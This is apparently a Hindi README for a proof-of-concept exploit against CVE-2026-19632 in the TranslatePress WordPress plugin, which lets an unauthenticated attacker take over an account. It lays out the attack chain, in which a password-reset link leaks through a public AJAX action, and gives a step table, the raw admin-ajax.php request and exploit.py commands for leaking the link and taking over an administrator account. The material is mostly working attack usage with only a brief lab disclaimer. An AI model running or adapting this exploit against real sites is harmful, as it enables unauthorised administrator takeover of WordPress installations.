
CVE-2026-19632 के लिए एक-दिवसीय प्रमाण-अवधारणा शोषण, TranslatePress WordPress प्लगइन में एक गंभीर बिना प्रमाणीकरण वाला खाता अधिग्रहण, जो पासवर्ड रीसेट लिंक प्रकटीकरण और व्यवस्थापक अधिग्रहण का प्रदर्शन करता है।
CVE: CVE-2026-19632 | CVSS: 9.8 (क्रिटिकल)
WordPress के लिए TranslatePress प्लगइन के माध्यम से बिना प्रमाणीकरण के अकाउंट-टेकओवर। CVE प्रकाशन से कार्यशील Day-One PoC तक का समय: 5 घंटे, 9 मिनट, 40 सेकंड
3.3.1 तक और सहित; यह समस्या 3.3.2 में पैच की गई थी।
TranslatePress बाहर जाने वाले WordPress ईमेल का अनुवाद कर सकता है और उनके अनुवादित स्ट्रिंग्स को अपने डेटाबेस में सहेज सकता है।
TranslatePress पासवर्ड-रीसेट ईमेल को गुप्त कुंजी सहित पूरे रीसेट लिंक के साथ सीधे अनुवाद तालिका में भी सहेजता है।
एक बिना प्रमाणीकरण वाला हमलावर फिर एक सार्वजनिक TranslatePress AJAX एक्शन के माध्यम से उन पंक्तियों को क्वेरी कर सकता है:
पासवर्ड रीसेट ट्रिगर करें
-> रीसेट ईमेल का अनुवाद किया जाता है
-> रीसेट URL द्वितीयक-भाषा शब्दकोश में सहेजा जाता है
-> सार्वजनिक AJAX एंडपॉइंट पंक्ति लौटाता है
-> नया एडमिनिस्ट्रेटर पासवर्ड सेट करने के लिए URL का उपयोग करें
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
शोषण श्रृंखला के लिए आवश्यक है:
जब WordPress रीसेट ईमेल भेजता है, TranslatePress प्राप्तकर्ता की पसंदीदा भाषा पर स्विच करता है और ईमेल को अपनी अनुवाद पाइपलाइन से गुज़ारता है। कमजोर संस्करण इस प्रक्रिया के दौरान सामने आने वाले स्ट्रिंग्स को सहेजता है, जिसमें रीसेट URL भी शामिल है।
TranslatePress बिना प्रमाणीकरण वाले आगंतुकों के लिए trp_get_translations_regular भी पंजीकृत करता है। इसका nonce एक सार्वजनिक अनुवादित पृष्ठ पर उजागर होता है, और अनुरोध हमलावर द्वारा चयनित शब्दकोश पंक्ति ID स्वीकार करता है। उन ID की गणना करने से संग्रहीत रीसेट ईमेल और उसका उपयोग योग्य रीसेट लिंक प्रकट होता है।
| चरण | क्रिया |
|---|---|
| 1 | /he/cve-lab-seed/ लोड करें और सार्वजनिक TranslatePress AJAX nonce निकालें। |
| 2 | labadmin के लिए WordPress का लॉस्ट-पासवर्ड फ़ॉर्म सबमिट करें। |
| 3 | TranslatePress एडमिनिस्ट्रेटर की हिब्रू लोकेल का उपयोग करके रीसेट ईमेल संसाधित करता है। |
| 4 | trp_get_translations_regular के माध्यम से शब्दकोश पंक्तियों की गणना करें। |
| 5 | नवीनतम मेल खाता wp-login.php?action=rp रीसेट URL निकालें। |
| 6 | URL खोलें और नया पासवर्ड सबमिट करें। |
| 7 | एक नया लॉगिन करें और WordPress लॉगिन कुकी और /wp-admin/ एक्सेस दोनों की आवश्यकता होती है। |
प्रासंगिक बिना प्रमाणीकरण वाला अनुरोध इस आकार का होता है:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
nonce और उपयोगी पंक्ति ID गतिशील हैं, इसलिए exploit.py उन्हें हार्डकोड करने के बजाय खोजता है।
न्यूनतम उपयोग:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
पासवर्ड बदले बिना रीसेट URL लीक करें:
python .\exploit.py --stop-after leak
केवल पासवर्ड-रीसेट ईमेल ट्रिगर करें:
python .\exploit.py --stop-after reset
| पैरामीटर | डिफ़ॉल्ट | उद्देश्य |
|---|---|---|
--url | http://127.0.0.1:19632 | WordPress आधार URL। |
--username | labadmin | वह अकाउंट जिसके लिए रीसेट अनुरोधित है। |
--language | he_IL | द्वितीयक-भाषा शब्दकोश जिसे PoC क्वेरी करता है। |
--public-path | /he/cve-lab-seed/ | AJAX nonce प्राप्त करने के लिए उपयोग किया जाने वाला सार्वजनिक अनुवादित पृष्ठ। |
--new-password | कोई नहीं | नया पासवर्ड; --stop-after takeover उपयोग करते समय आवश्यक। |
--start-id | 1 | अनुरोध करने के लिए पहली शब्दकोश पंक्ति ID। |
--max-id | 500 | अनुरोध करने के लिए अंतिम शब्दकोश पंक्ति ID। यदि कोई रीसेट URL नहीं मिलता है तो इसे बढ़ाएँ। |
--batch-size | 100 | प्रति AJAX कॉल अनुरोधित शब्दकोश ID। मान्य सीमा: 1-500। |
--timeout | 15 | HTTP टाइमआउट सेकंड में। |
--settle-seconds | 1 | रीसेट ईमेल अनुरोध करने के बाद विलंब। |
--stop-after | takeover | reset, leak, या पूर्ण takeover के बाद रुकें। |
यह परियोजना केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और पृथक प्रयोगशाला वातावरण में परीक्षण के लिए है।
यह भेद्यता मूल रूप से momopon1415 द्वारा खोजी और प्रकट की गई थी।
इस सॉफ़्टवेयर का उपयोग मालिक की स्पष्ट अनुमति के बिना सिस्टम, नेटवर्क या डेटा के विरुद्ध न करें। लागू सभी कानूनों का पालन करने और इस परियोजना के उपयोग से उत्पन्न किसी भी परिणाम के लिए आप पूरी तरह जिम्मेदार हैं।
लेखक, YonLiud, इस परियोजना को "जैसा है" प्रदान करता है, बिना किसी प्रकार की वारंटी के, और इस सॉफ़्टवेयर या व्युत्पन्न कार्यों के कारण होने वाली क्षति, डेटा हानि, सेवा व्यवधान, अनधिकृत पहुंच या अन्य दुरुपयोग के लिए कोई जिम्मेदारी स्वीकार नहीं करता है।
इस परियोजना का उपयोग करके, आप इन शर्तों को स्वीकार करते हैं।